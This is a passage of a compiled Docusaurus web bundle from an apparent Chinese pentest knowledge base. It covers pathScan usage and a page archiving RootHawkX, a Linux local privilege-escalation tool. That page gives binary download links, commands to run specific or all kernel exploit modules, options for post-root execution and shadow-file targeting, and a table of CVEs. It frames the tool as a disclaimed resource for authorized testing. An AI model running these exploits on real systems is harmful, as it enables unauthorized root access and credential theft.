\u65e0\u989c\u8272\u8f93\u51fa\n -vb, -verbose \u8be6\u7ec6\u8f93\u51fa\u6a21\u5f0f\n -debug \u8c03\u8bd5\u8f93\u51fa\n\n\u5de5\u5177:\n -gh, -get-hash \u8ba1\u7b97hash\n -shm, -skip-hash-method string \u6307\u5b9ahash\u7684\u65b9\u6cd5\uff08sha256,md5,sha1\uff09 (default "sha256")\n\n\u6a21\u7248\u89c4\u5219:\n -validate \u9a8c\u8bc1\u6307\u7eb9\u6587\u4ef6\n -mf, -match-file string \u6307\u7eb9\u6587\u4ef6\u76ee\u5f55\u6216\u6587\u4ef6\n -dsm, -disable-scan-match \u7981\u7528\u6307\u7eb9\u8bc6\u522b\n\n\u914d\u7f6e:\n -no-stdin disable stdin processing\n -rs, -retries int \u91cd\u8bd5\n -p, -proxy string[] \u4ee3\u7406\n -resolvers string[] \u81ea\u5b9a\u4e49DNS\u5217\u8868( \u6587\u4ef6\u6216\u9017\u53f7\u9694\u5f00 )\n -nn, -not-new \u5141\u8bb8\u91cd\u5b9a\u5411\n -dac, -disable-alive-check \u8df3\u8fc7\u6d3b\u8dc3\u68c0\u67e5\n -sdl, -scan-domain-list string[] \u4ece\u54cd\u5e94\u4e2d\u4e2d\u53d1\u73b0\u5176\u4ed6\u57df\u540d\uff08\u9017\u53f7\u9694\u5f00\uff0c\u652f\u6301\u6587\u4ef6\u8bfb\u53d6 -sdl /tmp/otherDomain.txt\uff09\n -sd, -scan-domain \u4ece\u54cd\u5e94\u4e2d\u53d1\u73b0\u5176\u4ed6\u57df\u540d\n -v, -version \u8f93\u51fa\u7248\u672c\n\n\u8bf7\u6c42\u5934\u53c2\u6570:\n -m, -method string[] \u8bf7\u6c42\u65b9\u6cd5 [GET HEAD POST PUT PATCH DELETE CONNECT OPTIONS TRACE] (default ["GET"])\n -ua, -user-agent string[] User-Agent (\u652f\u6301\u4ece\u6587\u4ef6\u4e2d\u5f55\u5165 -ua /tmp/user-agent.txt)\n -c, -cookie string cookie\n -auth, -authorization string Auth\u8bf7\u6c42\u5934\n -header string[] \u81ea\u5b9a\u4e49\u8bf7\u6c42\u5934,\u4ee5\u9017\u53f7\u9694\u5f00 (\u652f\u6301\u4ece\u6587\u4ef6\u4e2d\u5f55\u5165 -header /tmp/header.txt)\n -b, -body string \u81ea\u5b9a\u4e49\u8bf7\u6c42\u4f53\n\n\u901f\u7387:\n -t, -thread int \u7ebf\u7a0b (default 50)\n -rl, -rate-limit int \u6bcf\u79d2\u5141\u8bb8\u7684HTTP\u8fde\u63a5\u6570 (default 150)\n -http-timeout int HTTP\u8bf7\u6c42\u8d85\u65f6\u65f6\u95f4 (default 15)\n\n\u66f4\u65b0:\n -update \u66f4\u65b0\u7248\u672c\n -um, -update-match \u66f4\u65b0\u6307\u7eb9\u8bc6\u522b\u5e93\n -duc, -disable-update-check \u8df3\u8fc7\u81ea\u52a8\u68c0\u67e5\u66f4\u65b0\n\n\nEXAMPLES:\n\n\u8fd0\u884c pathScan \u626b\u63cf\u8def\u5f84, \u6307\u5b9a\u5355\u4e2a\u76ee\u6807 \u8df3\u8fc7 4xx 5xx \u8f93\u51fa:\n $ pathScan -u https://example.com/ -sc 4xx,5xx\n\n\u8fd0\u884c pathScan \u641c\u7d22\u5f15\u64ce:\n $ pathScan -ue fofa -uq \'app="tomcat"\'\n\n\u8fd0\u884c pathScan \u6536\u96c6\u5b50\u57df\u540d \u6307\u5b9a\u8f93\u51fa:\n $ pathScan -sq example.com -csv -o out.csv\n\n\u8fd0\u884c pathScan \u6536\u96c6\u5b50\u57df\u540d \u5e76\u914d\u5408 nuclei \u8fdb\u884c\u81ea\u52a8\u5316\u6f0f\u6d1e\u626b\u63cf:\n $ pathScan -sq example.com -silent | nuclei\n\n\u5176\u4ed6\u6587\u6863\u53ef\u5728\u4ee5\u4e0b\u7f51\u5740\u83b7\u5f97: https://github.com/wjlin0/pathScan/\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsxs)(e.p,{children:["pathScan\u662f\u4e00\u6b3e\u9ad8\u6548\u7684\uff0c\u91c7\u7528go\u8bed\u8a00\u5f00\u53d1\uff0c\u5feb\u901f\u7684\u53d1\u73b0\u76ee\u6807\u4fe1\u606f\uff0c\u5e76\u6536\u96c6\u4fe1\u606f\uff0c\u8fd9\u5bf9\u6211\u4eec\u6e17\u900f\u6d4b\u8bd5\u6709\u5219\u5f88\u5927\u7684\u5e2e\u52a9.\u540c\u65f6pathScan\u4e5f\u6709\u8bb8\u591a\u529f\u80fd\u5c1a\u672a\u5b8c\u5584\uff0c\u6b22\u8fce\u5927\u5bb6\u63d0\u4ea4",(0,i.jsx)(e.code,{children:"pull requests"})]})]})}function o(n={}){const{wrapper:e}={...(0,a.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(h,{...n})}):h(n)}}}]); \ No newline at end of file diff --git a/assets/js/2e8323b2.3f2fdfaf.js b/assets/js/2e8323b2.3f2fdfaf.js new file mode 100644 index 0000000..f0bdee5 --- /dev/null +++ b/assets/js/2e8323b2.3f2fdfaf.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2006],{3134:(e,n,t)=>{t.d(n,{A:()=>l});const l=t.p+"assets/files/SHA256SUMS-b4f8fc8d79a2604c91b2c3af4dbb2886.txt"},16161:(e,n,t)=>{t.d(n,{A:()=>l});const l=t.p+"assets/files/RootHawkX-v1.1.tar-e75d9bb5f1cca75c97164d201a80f572.gz"},28453:(e,n,t)=>{t.d(n,{R:()=>d,x:()=>x});var l=t(96540);const s={},i=l.createContext(s);function d(e){const n=l.useContext(i);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function x(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:d(e.components),l.createElement(i.Provider,{value:n},e.children)}},55021:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>r,contentTitle:()=>x,default:()=>a,frontMatter:()=>d,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","title":"RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743/01.RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743/01.RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Linux\u63d0\u6743","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/"},"next":{"title":"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/"}}');var s=t(74848),i=t(28453);const d={},x="RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177",r={},c=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u5de5\u5177\u4fe1\u606f",id:"\u5de5\u5177\u4fe1\u606f",level:2},{value:"\u672c\u5730\u5f52\u6863\u4e0b\u8f7d",id:"\u672c\u5730\u5f52\u6863\u4e0b\u8f7d",level:2},{value:"\u6e90\u7801",id:"\u6e90\u7801",level:3},{value:"\u53ef\u6267\u884c\u6587\u4ef6",id:"\u53ef\u6267\u884c\u6587\u4ef6",level:3},{value:"\u4f7f\u7528\u65b9\u6cd5",id:"\u4f7f\u7528\u65b9\u6cd5",level:2},{value:"\u53c2\u6570\u8bf4\u660e",id:"\u53c2\u6570\u8bf4\u660e",level:2},{value:"\u96c6\u6210\u6a21\u5757",id:"\u96c6\u6210\u6a21\u5757",level:2},{value:"\u793a\u4f8b\u547d\u4ee4",id:"\u793a\u4f8b\u547d\u4ee4",level:2},{value:"\u4f7f\u7528\u6ce8\u610f",id:"\u4f7f\u7528\u6ce8\u610f",level:2},{value:"\u53c2\u8003\u94fe\u63a5",id:"\u53c2\u8003\u94fe\u63a5",level:2}];function h(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"roothawkx-linux\u672c\u5730\u63d0\u6743\u5de5\u5177",children:"RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"})]})})]}),"\n",(0,s.jsx)(n.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,s.jsxs)(n.p,{children:["RootHawkX \u662f\u4e00\u4e2a Linux \u672c\u5730\u5b89\u5168\u6d4b\u8bd5\u7ec8\u7aef\u5de5\u5177\uff0c\u4f7f\u7528 Go \u7f16\u5199\uff0c\u9762\u5411\u6388\u6743\u9776\u673a\u3001\u865a\u62df\u673a\u548c\u5b9e\u9a8c\u73af\u5883\u3002\u8be5\u9879\u76ee\u57fa\u4e8e ",(0,s.jsx)(n.a,{href:"https://github.com/RoadBicycle-C/RootHawk",children:"RootHawk"})," \u4fee\u6539\uff0c\u5e76\u96c6\u6210\u4e86\u66f4\u591a Linux \u672c\u5730\u63d0\u6743\u6f0f\u6d1e\u5229\u7528\u6a21\u5757\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u6587\u5c06\u5b83\u5f52\u6863\u5230\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"\u6e17\u900f\u6d4b\u8bd5 -> \u5185\u7f51\u6e17\u900f -> Linux\u63d0\u6743 -> \u672c\u5730\u63d0\u6743\u5de5\u5177\n"})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u5de5\u5177\u4ec5\u7528\u4e8e\u6388\u6743\u5b89\u5168\u6d4b\u8bd5\u3001\u9776\u573a\u590d\u73b0\u548c\u6f0f\u6d1e\u9a8c\u8bc1\u3002\u4e0d\u8981\u5728\u672a\u6388\u6743\u7cfb\u7edf\u4e0a\u8fd0\u884c\u672c\u5de5\u5177\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u5de5\u5177\u4fe1\u606f",children:"\u5de5\u5177\u4fe1\u606f"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u9879\u76ee"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u5185\u5bb9"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u5de5\u5177\u540d\u79f0"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"RootHawkX"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u4e0a\u6e38\u4ed3\u5e93"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{href:"https://github.com/DeEpinGh0st/RootHawkX",children:"DeEpinGh0st/RootHawkX"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u5f53\u524d\u5f52\u6863\u7248\u672c"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"v1.1"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Release \u5730\u5740"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{href:"https://github.com/DeEpinGh0st/RootHawkX/releases/tag/v1.1",children:"RootHawkX v1.1"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u53d1\u5e03\u65f6\u95f4"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-30"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u4e3b\u8981\u8bed\u8a00"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Go / C"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u5de5\u5177\u7c7b\u578b"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux \u672c\u5730\u63d0\u6743\u68c0\u6d4b\u4e0e\u5229\u7528\u5de5\u5177"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u672c\u5730\u5f52\u6863\u4e0b\u8f7d",children:"\u672c\u5730\u5f52\u6863\u4e0b\u8f7d"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e3a\u907f\u514d\u4e0a\u6e38\u4ed3\u5e93\u53d8\u52a8\u3001Release \u5220\u9664\u6216\u7f51\u7edc\u4e0d\u53ef\u7528\uff0c\u672c\u7ad9\u5df2\u4fdd\u5b58 ",(0,s.jsx)(n.code,{children:"v1.1"})," \u7684\u6e90\u7801\u5305\u548c\u5168\u90e8 Release \u67b6\u6784\u4e8c\u8fdb\u5236\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u6e90\u7801",children:"\u6e90\u7801"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u6587\u4ef6"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4e0b\u8f7d"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"SHA256"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"RootHawkX-v1.1.zip"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{target:"_blank","data-noBrokenLinkCheck":!0,href:t(87772).A+"",children:"\u4e0b\u8f7d"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"a740a8131fc8ee609a18f64c11913bb1728d116537a2011e83d4ca86ecc9af26"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"RootHawkX-v1.1.tar.gz"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{target:"_blank","data-noBrokenLinkCheck":!0,href:t(16161).A+"",children:"\u4e0b\u8f7d"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"c2f89356d8b636fe6690056effa61757fc5cf1c05f70797f60f50654c3e65b6d"})})]})]})]}),"\n",(0,s.jsx)(n.h3,{id:"\u53ef\u6267\u884c\u6587\u4ef6",children:"\u53ef\u6267\u884c\u6587\u4ef6"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u6587\u4ef6"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u67b6\u6784"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4e0b\u8f7d"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"SHA256"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"roothawkx_linux_386"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"linux/386"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{href:"/tools/roothawkx/v1.1/bin/roothawkx_linux_386",children:"\u4e0b\u8f7d"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"9b52eaa757c97ee792970bebf26bba2b18448c9bdd42b1fac170180c71aa28d2"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"roothawkx_linux_amd64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"linux/amd64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{href:"/tools/roothawkx/v1.1/bin/roothawkx_linux_amd64",children:"\u4e0b\u8f7d"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"e183c0ac8688a7285164ef31d16ab4eaa44bbf52c36b104157f915cb1e8f9179"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"roothawkx_linux_arm64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"linux/arm64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.a,{href:"/tools/roothawkx/v1.1/bin/roothawkx_linux_arm64",children:"\u4e0b\u8f7d"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"de5fa1b971947194e8cbcc281c980c899f86aade6c4d5fa1063570086a2d67f1"})})]})]})]}),"\n",(0,s.jsx)(n.p,{children:"\u6821\u9a8c\u6587\u4ef6\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{target:"_blank","data-noBrokenLinkCheck":!0,href:t(3134).A+"",children:"SHA256SUMS.txt"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"/tools/roothawkx/v1.1/METADATA.md",children:"METADATA.md"})}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u5730\u6821\u9a8c\u547d\u4ee4\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"shasum -a 256 roothawkx_linux_amd64\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5982\u679c\u5df2\u7ecf\u4e0b\u8f7d\u5b8c\u6574\u5f52\u6863\u76ee\u5f55\uff0c\u53ef\u4ee5\u4f7f\u7528\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"cd static/tools/roothawkx/v1.1\nshasum -a 256 -c SHA256SUMS.txt\n"})}),"\n",(0,s.jsx)(n.h2,{id:"\u4f7f\u7528\u65b9\u6cd5",children:"\u4f7f\u7528\u65b9\u6cd5"}),"\n",(0,s.jsx)(n.p,{children:"\u4e0b\u8f7d\u5bf9\u5e94\u67b6\u6784\u7684\u6587\u4ef6\u540e\uff0c\u5148\u6dfb\u52a0\u6267\u884c\u6743\u9650\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"chmod +x roothawkx_linux_amd64\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u67e5\u770b\u5e2e\u52a9\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"./roothawkx_linux_amd64 -help\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u67e5\u770b\u6a21\u5757\u5217\u8868\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"./roothawkx_linux_amd64 -list\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6267\u884c\u6307\u5b9a\u6a21\u5757\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"./roothawkx_linux_amd64 -e CVE-2022-0847\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6309\u987a\u5e8f\u6267\u884c\u5168\u90e8\u6a21\u5757\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"./roothawkx_linux_amd64 -any\n"})}),"\n",(0,s.jsx)(n.h2,{id:"\u53c2\u6570\u8bf4\u660e",children:"\u53c2\u6570\u8bf4\u660e"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u53c2\u6570"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-list"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u663e\u793a\u5f53\u524d\u96c6\u6210\u7684 CVE \u6a21\u5757"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-e"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u6267\u884c\u6307\u5b9a CVE \u6216\u522b\u540d"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-any"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u6309\u5217\u8868\u987a\u5e8f\u6267\u884c\u5168\u90e8\u6a21\u5757"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-pk"})}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["\u6307\u5b9a CVE-2021-4034 \u4f7f\u7528\u7684 pkexec \u8def\u5f84\uff0c\u9ed8\u8ba4 ",(0,s.jsx)(n.code,{children:"/usr/bin/pkexec"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-backup"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-31431 \u6267\u884c\u524d\u5907\u4efd su \u5230\u6307\u5b9a\u8def\u5f84"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-exec"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-31431 \u63d0\u6743\u540e\u6267\u884c\u6307\u5b9a\u7a0b\u5e8f\uff0c\u800c\u4e0d\u662f\u8fdb\u5165 su"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-target"})}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["\u6307\u5b9a\u6267\u884c\u76ee\u6807\u529f\u80fd\uff0c\u4f8b\u5982 CVE-2026-46333 \u7684 ",(0,s.jsx)(n.code,{children:"key"})," \u6216 ",(0,s.jsx)(n.code,{children:"shadow"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-v"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u5c3d\u91cf\u8f93\u51fa\u8be6\u7ec6\u65e5\u5fd7"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"-help"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u663e\u793a\u5e2e\u52a9"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u96c6\u6210\u6a21\u5757",children:"\u96c6\u6210\u6a21\u5757"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"CVE \u7f16\u53f7"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u5e38\u89c1\u540d\u79f0 / \u522b\u540d"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u7c7b\u578b / \u7ec4\u4ef6"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-31431"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Copy Fail"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u6d89\u53ca crypto / AF_ALG / algif_aead \u76f8\u5173\u903b\u8f91\u95ee\u9898"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-43284"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Dirty Frag / CopyFail2"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u6d89\u53ca xfrm/esp\u3001shared skb frags \u7b49\u5185\u6838\u7f51\u7edc\u5904\u7406\u8def\u5f84"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-43503"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"DirtyClone"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u5229\u7528 net/skbuff \u5171\u4eab\u5206\u7247\u514b\u9686\u6f0f\u6d1e"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-46300"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Fragnesia"}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u5229\u7528 XFRM ESP-in-TCP \u5b50\u7cfb\u7edf\u903b\u8f91\u95ee\u9898\uff0c\u901a\u8fc7 page cache \u8986\u5199 ",(0,s.jsx)(n.code,{children:"/usr/bin/su"})," \u83b7\u53d6 root shell"]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-46331"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"COW / Pedit"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u5229\u7528 net/sched act_pedit 